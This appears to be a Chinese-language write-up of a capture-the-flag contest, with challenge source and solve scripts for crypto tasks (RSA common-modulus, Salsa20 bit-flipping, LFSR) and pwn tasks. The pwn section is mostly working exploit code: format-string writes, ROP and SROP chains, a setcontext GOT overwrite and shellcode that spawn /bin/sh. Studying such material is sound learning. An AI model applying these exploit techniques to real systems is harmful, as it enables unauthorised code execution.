这个比赛很良心,完整就马上上了官WP,拿到WP能学到不少东东
Crypto
base64
from Crypto.Util.number import bytes_to_long
q = 64
flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)
secret_key = []
while flag_int:
secret_key.append(flag_int % q)
flag_int //= q
print(f"{secret_key = }")
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]
给的是替换成码表前的 base64,可以直接按64进制求出来。
long_to_bytes(sum([v*64**i for i,v in enumerate(secret_key)]))
integrity
from Crypto.Util.number import *
from binascii import crc_hqx
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
tot = (p-1)*(q-1)
d = pow(e, -1, tot)
flag = bytes_to_long(open("flag.txt", "rb").read())
ct = pow(flag, e, n)
#signature = pow(flag, d, n) # no, im not gonna do that
signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)
print(f"{n = }")
print(f"{ct = }")
print(f"{signature = }")
crc_hqx很特殊,网上查了下就是crc16,由于这个数很小,可以直接爆破,共模攻击。
#共模攻击
def rsa_gong_N_def(e1,e2,c1,c2,n): #共模攻击函数
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
print("e1,e2:",e1,e2)
s = gmpy2.gcdext(e1, e2)
print("mpz:",s)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)
for e2 in range(2,1<<16):
m = rsa_gong_N_def(65537,e2,ct,signature,n)
m = long_to_bytes(m)
if b'ictf{' in m:
print(m)
break
#ictf{oops_i_leaked_some_info}
tango
from Crypto.Cipher import Salsa20
from Crypto.Util.number import bytes_to_long, long_to_bytes
import json
from secrets import token_bytes, token_hex
from zlib import crc32
from secret import FLAG
KEY = token_bytes(32)
def encrypt_command(command):
if len(command) != 3:
print('Nuh uh.')
return
cipher = Salsa20.new(key=KEY)
nonce = cipher.nonce
data = json.dumps({'user': 'user', 'command': command, 'nonce': token_hex(8)}).encode('ascii')
checksum = long_to_bytes(crc32(data))
ciphertext = cipher.encrypt(data)
print('Your encrypted packet is:', (nonce + checksum + ciphertext).hex())
def run_command(packet):
packet = bytes.fromhex(packet)
nonce = packet[:8]
checksum = bytes_to_long(packet[8:12])
ciphertext = packet[12:]
try:
cipher = Salsa20.new(key=KEY, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
if crc32(plaintext) != checksum:
print('Invalid checksum. Aborting!')
return
data = json.loads(plaintext.decode('ascii'))
user = data.get('user', 'anon')
command = data.get('command', 'nop')
if command == 'nop':
print('...')
elif command == 'sts':
if user not in ['user', 'root']:
print('o_O')
return
print('The server is up and running.')
elif command == 'flag':
if user != 'root':
print('You wish :p')
else:
print(FLAG)
else:
print('Unknown command.')
except (json.JSONDecodeError, UnicodeDecodeError):
print('Invalid data. Aborting!')
def menu():
print('[E]ncrypt a command')
print('[R]un a command')
print('[Q]uit')
def main():
print('Welcome to the Tango server! What would you like to do?')
while True:
menu()
option = input('> ').upper()
if option == 'E':
command = input('Your command: ')
encrypt_command(command)
elif option == 'R':
packet = input('Your encrypted packet (hex): ')
run_command(packet)
elif option == 'Q':
exit(0)
else:
print('Unknown option:', option)
if __name__ == '__main__':
main()
Server提供两个功能加密和run_command,后边是可把输入的内容解密,如果user=root,cmd=flag就给flag
加密是通过Salsa20加密,这东西跟Chacha20,RC4啥的差不多,先生成个流,然后把明文异或上去。所以先弄个密文,再用密文的nonce和密文异或原明文和新明文即可。
crc是通过明文计算的,所以不用关心,直接用明文求。
from pwn import *
from Crypto.Util.number import long_to_bytes
from zlib import crc32
import json
context.log_level = 'debug'
p = remote('tango.chal.imaginaryctf.org', 1337)
p.sendlineafter(b'> ', b'E')
p.sendlineafter(b'Your command: ', b'AAA')
p.recvuntil(b'Your encrypted packet is:')
packet = bytes.fromhex(p.recvline().strip().decode())
nonce = packet[:8]
ciphertext = packet[12:]
data1 = json.dumps({'user': 'user', 'command': 'AAA', 'nonce': '0000000000000000'}).encode('ascii')
data2 = json.dumps({'user': 'root', 'command': 'flag'}).encode('ascii')
ct2 = xor(ciphertext, data1,data2)[:len(data2)]
checksum = long_to_bytes(crc32(data2))
packet = nonce + checksum + ct2
p.sendlineafter(b'> ', b'R')
p.sendlineafter(b'Your encrypted packet (hex): ', packet.hex().encode())
p.recvline()
p.interactive()
#ictf{F0xtr0t_L1m4_4lph4_G0lf}
solitude
#!/usr/bin/env python3
import random
def xor(a: bytes, b: bytes):
out = []
for m,n in zip(a,b):
out.append(m^n)
return bytes(out)
class RNG():
def __init__(self, size, state=None):
self.size = size
self.state = list(range(self.size+2))
random.shuffle(self.state)
def next(self):
idx = self.state.index(self.size)
self.state.pop(idx)
self.state.insert((idx+1) % (len(self.state)+1), self.size) #值size和后边1格交换
if self.state[0] == self.size:
self.state.pop(0)
self.state.insert(1, self.size) #如果插入到0,改为插入到1
idx = self.state.index(self.size+1)
self.state.pop(idx)
self.state.insert((idx+1) % (len(self.state)+1), self.size+1)
if self.state[0] == self.size+1:
self.state.pop(0)
self.state.insert(1, self.size+1)
if self.state[1] == self.size+1:
self.state.pop(1)
self.state.insert(2, self.size+1) #0,1都换为2
c1 = self.state.index(self.size)
c2 = self.state.index(self.size+1)
self.state = self.state[max(c1,c2)+1:] + [self.size if c1<c2 else self.size+1] + self.state[min(c1,c2)+1:max(c1,c2)] + [self.size if c1>c2 else self.size+1] + self.state[:min(c1,c2)]
count = self.state[-1]
if count in [self.size,self.size+1]:
count = self.size
self.state = self.state[count:-1] + self.state[:count] + self.state[-1:]
idx = self.state[0]
if idx in [self.size,self.size+1]:
idx = self.size
out = self.state[idx]
if out in [self.size,self.size+1]:
out = self.next()
return out
if __name__ == "__main__":
flag = open("flag.txt", "rb").read()
while True:
i = int(input("got flag? "))
for _ in range(i):
rng = RNG(128)
stream = bytes([rng.next() for _ in range(len(flag))])
print(xor(flag, stream).hex())
给了一个复杂的RNG,基本包括3步:
1,先生成128+2的序列,打乱后,用128,129为指针先后移1下
2,再用指针分3段头中尾倒序
3,用最后一个值为指针后前倒序。
看别人的WP是说0的概率是其它数的2倍,那么直接统计频率最高的就是flag,但从程序上确实看不出来为啥0就是别1的2倍。
官方WP是将相邻的异或但这个方法也是因为0的频率高才成功,但绕了弯子。
lf3r
import secrets, os
n = 256
MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7
class LF3R:
def __init__(self, n, key, mask):
self.n = n
self.state = key & ((1 << n) - 1)
self.mask = mask
def __call__(self):
v = self.state % 3
self.state = (self.state >> 1) | (
((self.state & self.mask).bit_count() & 1) << (self.n - 1)
)
return v
def int_to_base(n, b):
digits = []
while n:
digits.append(n % b)
n //= b
return digits
if __name__ == "__main__":
key = secrets.randbits(n)
lf3r = LF3R(n, key, MASK)
stream = [lf3r() for _ in range(2048)]
flag = os.environ["FLAG"].encode()
flag_digits = int_to_base(int.from_bytes(flag, "big"), 3)
stream += [(x + lf3r()) % 3 for x in flag_digits]
print(f"{stream = }")
前边是简单的lfsr但给出的结果是模3的结果。官WP没看大懂,又去看小鸡块大牛的,基本明白了。
当输入stream相邻值差为1/-1时,结果就对应1/0这样拿到结果,再乘上对应位置L的幂矩阵,就可以解出对应的key
lcasm
这个感觉是个pwn题,题目要求输入x,a,c,m并按x[i+1] = a*x[i]+c mod m来计算出一系列值64位整型,并当作shellcode直接运行。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-2Ch]
__int64 v5; // [rsp+8h] [rbp-28h]
_QWORD *addr; // [rsp+10h] [rbp-20h]
unsigned __int64 a; // [rsp+18h] [rbp-18h]
__int64 v8; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
addr = mmap(0LL, 0x1000uLL, 7, 33, 0, 0LL);
v5 = readint("x> ");
a = readint("a> ");
v8 = readint("c> ");
v9 = readint("m> ");
for ( i = 0; i <= 15; ++i )
{
v5 = (v8 + mult(a, v5, v9)) % v9;
addr[i] = v5;
}
mprotect(addr, 0x1000uLL, 5);
((void (*)(void))addr)();
return 0;
}
unsigned __int64 __fastcall mult(unsigned __int64 a, unsigned __int64 x, unsigned __int64 m)
{
return _umodti3(x * (unsigned __int128)a, m, 0LL);
}
unsigned __int64 __fastcall _umodti3(unsigned __int128 a_x, unsigned __int64 m, unsigned __int64 a_0)
{
unsigned __int64 v5; // rdx
int v6; // edx
__int64 v7; // r10
unsigned __int64 v8; // rcx
unsigned __int128 v9; // rtt
char v10; // r9
char v11; // r10
unsigned __int64 v12; // r11
unsigned __int64 v13; // r8
unsigned __int64 v14; // r11
unsigned __int64 v15; // rax
unsigned __int128 v16; // rtt
__int128 v17; // rdi
unsigned __int128 v18; // rax
unsigned __int64 v19; // rcx
unsigned __int64 v20; // rbx
unsigned __int128 v21; // rax
if ( a_0 )
{
if ( a_0 <= *((_QWORD *)&a_x + 1) )
{
_BitScanReverse64(&v5, a_0);
v6 = v5 ^ 0x3F;
if ( v6 )
{
v10 = v6;
v11 = 64 - v6;
v12 = m >> (64 - (unsigned __int8)v6);
v13 = m << v6;
v14 = (a_0 << v6) | v12;
v15 = (unsigned __int64)a_x >> (64 - (unsigned __int8)v6);
*(_QWORD *)&a_x = (_QWORD)a_x << v6;
*(_QWORD *)&v16 = (*((_QWORD *)&a_x + 1) << v6) | v15;
*((_QWORD *)&v16 + 1) = *((_QWORD *)&a_x + 1) >> (64 - (unsigned __int8)v6);
*((_QWORD *)&a_x + 1) = v16 % v14;
v18 = v13 * (unsigned __int128)(unsigned __int64)(v16 / v14);
v19 = *((_QWORD *)&v18 + 1);
v20 = v18;
if ( a_x < v18 )
{
v21 = v18 - __PAIR128__(v14, v13);
v19 = *((_QWORD *)&v21 + 1);
v20 = v21;
}
return (((unsigned __int64)v17 - v20) >> v10) | ((v17 - __PAIR128__(v19, v20)) >> 64 << v11);
}
else
{
if ( a_0 < *((_QWORD *)&a_x + 1) )
return a_x - m;
v7 = a_x;
if ( m <= (unsigned __int64)a_x )
return a_x - m;
return v7;
}
}
else
{
return a_x;
}
}
else if ( m <= *((_QWORD *)&a_x + 1) ) // m<(a*x>>64)
{
v8 = m;
if ( !m )
v8 = 1 / m;
*(_QWORD *)&v9 = a_x;
*((_QWORD *)&v9 + 1) = *((_QWORD *)&a_x + 1) % v8;
return v9 % v8;
}
else
{
return a_x % m;
}
}
_umodti3由于调用时a3=0,所以结果就是最后这一块,基本就是a*x%m
由于x2=(a*x1+c)%m,x1=(a*x0+c)%m所以可以两式相减计算a,然后计算c,再计算x0
但是实际高度时会发现这个值会差一点。大小跟模有关。所以这里尽量作个大的m=(1<<64)-1
shellcode尽量短,但无法不大于16,也就只能分3段
由于c并不参与乘,也就基本与模无关,所以可以用c微调,目的是使第2段正确。因为这里的movabs rdi,bin/sh长度为10字节,中间不好调
第1断由于只与x0有关,可以单独调x
第3段可以通过代码解决,在第2段尾用mov bl,0xa 来作个填充,最后这个值的偏差就可以忽略。
另外这个0xa可以调,因为计算a时可能会存在无法求逆的情况,用这个字节来调节。
shellcode可以自己写
binsh = u64(b'/bin/sh\x00')
shellcode = f'''
movabs rdi,{binsh};push rdi;push rsp;pop rdi;
push rax;pop rsi;
mov bl,0x01; /* 由于每段都会产生偏移k,第1段可控,调c使第2段正确,第3段首字节作个无效字节,同时调整xs[2]使模成立 */
cdq;
push 0x3b;pop rax;
syscall
'''
shellcode = asm(shellcode).ljust(24, b'\x00')
xs = [u64(shellcode[i:i+8]) for i in range(0,24,8)]
print([hex(i) for i in xs])
m = (1<<64) - 1 #这个数决定偏差
#xs[i+1] = a*xs[i] + c mod m
a = (xs[1] - xs[2])*inverse(xs[0]-xs[1], m)%m
c = (xs[2] - a*xs[1])%m +1 #调整c,因为每次都差1
x = (xs[0] +1 - c)*inverse(a,m)%m #x是控
print(hex(a))
print(hex((a*x+c)%m), hex((a*xs[0]+c)%m), hex((a*xs[1]+c)%m))
p = process('./lcasm')
#gdb.attach(p, "b*0x55555555541e\nc")
[p.sendline(str(i).encode()) for i in [x,a,c,m]]
p.interactive()
官WP是用solvlinemod.py来生成,这个比较不错,但如果不知道这个库(不是常用库,在github上有)也就没法弄了,而且这个库很复杂。
剩下的也就基本上看不懂了。
PWN
imgstore
程序很长,在选3的时候会有个格式化字符串漏洞。还是栈内的而且有循环,这就好办了
unsigned __int64 sub_1E2A()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
int buf; // [rsp+8h] [rbp-58h] BYREF
int fd; // [rsp+Ch] [rbp-54h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(s, 50, stdin);
printf("Book title --> ");
printf(s); //栈内格式化字符串
puts(&::s);
if ( 334873123 * buf == dword_6050 )
{
dword_608C = 2;
sub_1D77(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&::s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}
逐字节写栈
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./imgstore')
libc = ELF('./libc.so.6')
#p = process('./imgstore')
#gdb.attach(p, "b*0x555555555ed9\nc")
p = remote('imgstore.chal.imaginaryctf.org', 1337)
p.sendlineafter(b">> ", b'3')
def getv(pay, yesno = b'y'):
p.sendlineafter(b"Enter book title: ", pay)
p.recvuntil(b"Book title --> ")
msg = p.recvline()
p.sendlineafter(b"Still interested in selling your book? [y/n]: ", yesno)
return msg
msg = getv("%18$p,%19$p,%25$p,")
msg = msg.split(b',')
stack = int(msg[0],16) - 0x18
elf.address = int(msg[1],16) - 0x21b8
libc.address = int(msg[2],16) - 243 - libc.sym['__libc_start_main']
pop_rdi = elf.address + 0x0000000000002313 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
pay = flat(pop_rdi+1,pop_rdi,bin_sh,system)
for i,v in enumerate(pay):
tmp = ''
if v != 0:
tmp += f"%{v}c"
tmp += "%10$hhn"
tmp = tmp.ljust(16,'a').encode() + p64(stack+i)
getv(tmp)
getv(b'aa', b'n')
p.interactive()
ropity、bopity
一题两问,第1步是调用printfile输入flag.txt第2步是getshell
程序只有一个gets而且pie未开,got表可写
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+8h] [rbp-8h] BYREF
return (unsigned int)fgets(s, 256, _bss_start);
}
第1步移栈到got.fgets+8再次进入后写got表,执行got.fgets时执行printfile(参1在rbp-8)得到flag.txt
给的flag.txt恰好15字节,输出后rax寄存器值为15,在ret的位置写上写syscall后边是frame来作srop
这题没作,官WP如下
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./vuln')
p = process('./vuln')
gdb.attach(p, "b*0x40115a\nc")
#p = remote('ropity.chal.imaginaryctf.org', 1337)
#1,rbp=got.fgets+8 保留rbp再入mian将 payload2 读入got.fgets ...
p.sendline(flat(b'a'*8,elf.got['fgets']+8, 0x401142))
#将printfile写入got.fgets 并设rbp-8=&flag.txt flag.txt在404030再入main
#main中设置rdi后执行printfile 返回flag.txt字符数rax=15
payload = b""
payload += p64(elf.sym['printfile']) # got.fgets = printfile
payload += p64(0x404038) # rbp-8 = &flag.txt
payload += p64(0x401142) #printfile no rbp
payload += b"flag.txt"
payload += p64(0)
#syscall(15)进行sigreturn
frame = SigreturnFrame()
frame.rax = 59
frame.rip = 0x401198 #syscall;pop rbp;ret
frame.rdi = 0x404048 + 160
frame.rsi = 0
frame.rdx = 0
frame.rsp = u64(b"/bin/sh\0")
payload += p64(0x401198) # syscall
payload += bytes(frame)
p.sendline(payload)
p.interactive()
onewrite
一次写又学一着,给了libc地址,可以往任意地址写
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("%p\n> ", &printf);
__isoc99_scanf("%p%*c", &s);
fgets(s, 768, stdin);
puts("bye");
return v6 - __readfsqword(0x28u);
}
用setcontext32这个东西生成
from collections import defaultdict
import struct
from pwn import ELF, flat
def p64(value: int) -> bytes:
return struct.pack("<Q", value)
def create_ucontext(readable_address: int, regs: dict[str, int]) -> bytearray:
regs = defaultdict(int, regs)
b = bytearray(0x200)
b[0xE0:0xE8] = p64(readable_address) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0x28:0x30] = p64(regs["r8"])
b[0x30:0x38] = p64(regs["r9"])
b[0x48:0x50] = p64(regs["r12"])
b[0x50:0x58] = p64(regs["r13"])
b[0x58:0x60] = p64(regs["r14"])
b[0x60:0x68] = p64(regs["r15"])
b[0x68:0x70] = p64(regs["rdi"])
b[0x70:0x78] = p64(regs["rsi"])
b[0x78:0x80] = p64(regs["rbp"])
b[0x80:0x88] = p64(regs["rbx"])
b[0x98:0xA0] = p64(regs["rcx"])
b[0x88:0x90] = p64(regs["rdx"])
b[0xA0:0xA8] = p64(regs["rsp"])
b[0xA8:0xB0] = p64(regs["rip"])
return b
def setcontext32(libc: ELF, regs: dict[str, int] = {}) -> tuple[int, bytes]:
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
ucontext = create_ucontext(
libc.address, {"rsp": libc.symbols["environ"] + 8} | regs
)
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
ucontext,
)
官WP
from pwn import *
from setcontext32 import *
context.binary = elf = ELF("./vuln")
libc = ELF("./libc.so.6")
#conn = elf.process()
conn = remote("34.34.46.244", 1337)
conn.recvuntil(b"0x")
libc.address = int(conn.recv(12), 16) - libc.sym.printf
info("libc @ " + hex(libc.address))
dest, pl = setcontext32(
libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)
conn.sendline(hex(dest).encode())
conn.sendline(pl)
conn.interactive()
fermat
第2个格式化字符串,这里边不仅有格式化串还有个溢出,通过溢出覆盖libc_start_main_ret的尾字节重入。有一地址就都有了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
read(0, buf, 0x128uLL);
if ( strchr(buf, 110) )
__assert_fail("strstr(buf, \"n\") == NULL", "vuln.c", 0xEu, "main");
printf(buf);
return 0;
}
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = process('./vuln')
'''
libc 2.35 0ubuntu3.1
__libc_start_main_ret = libc.address + 0x29d90
把尾字节改为\x1c 重入
gef➤ x/10i 0x00007ffff7c29d1c
0x7ffff7c29d1c: and al,0x8
0x7ffff7c29d1e: lea rdi,[rsp+0x20]
0x7ffff7c29d23: mov DWORD PTR [rsp+0x14],esi
0x7ffff7c29d27: mov QWORD PTR [rsp+0x18],rdx
0x7ffff7c29d2c: mov rax,QWORD PTR fs:0x28
0x7ffff7c29d35: mov QWORD PTR [rsp+0x88],rax
0x7ffff7c29d3d: xor eax,eax
0x7ffff7c29d3f: call 0x7ffff7c421e0 <_setjmp>
0x7ffff7c29d44: endbr64
'''
p.send(b"%39$p,".ljust(256+8, b'a') + bytes([0x1c]))
libc.address = int(p.recvuntil(b',', drop=True), 16) - 0x29d1c
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym.system
p.send(b'a'*(256+8)+ flat(pop_rdi+1, pop_rdi,bin_sh,system))
p.interactive()
这是官WP,为什么改成1c呢,感觉改成76更好,没明白。
ictf-band
这应该是人答到,栈溢出没啥好说的,先read +puts泄露地址,再system
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./ictf-band')
p = process('./ictf-band')
gdb.attach(p, "b*0x555555555929\nc")
def add(pay):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"Slot [1-5]: ", b'0')
p.sendlineafter(b'Album Count: ', b'0'*99)
p.sendafter(b"Would you like to buy one or maybe more? [y/n]: ",b'y')
p.sendlineafter(b"The album should be pre-ordered. Tell us how many you want, we will contact you soon: ", str(len(pay)).encode())
#p.sendline(str(len(pay)).encode())
p.sendafter(b"Tell us your e-mail: ", pay)
p.recvuntil(b"\x1B[0m")
msg = p.recvline()
p.sendlineafter(b"It's verified [y/n]: ",b'y')
return msg
msg = add(b'A'*0x10)
libc.address = u64(msg[0x10:-1].ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
#msg = add(b'A'*0x18)
#elf.address = u64(msg[0x10:-1].ljust(8, b'\x00')) - 0x36c1
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
add(b'A'*0x98 + flat(pop_rdi+1, pop_rdi,bin_sh,system))
p.interactive()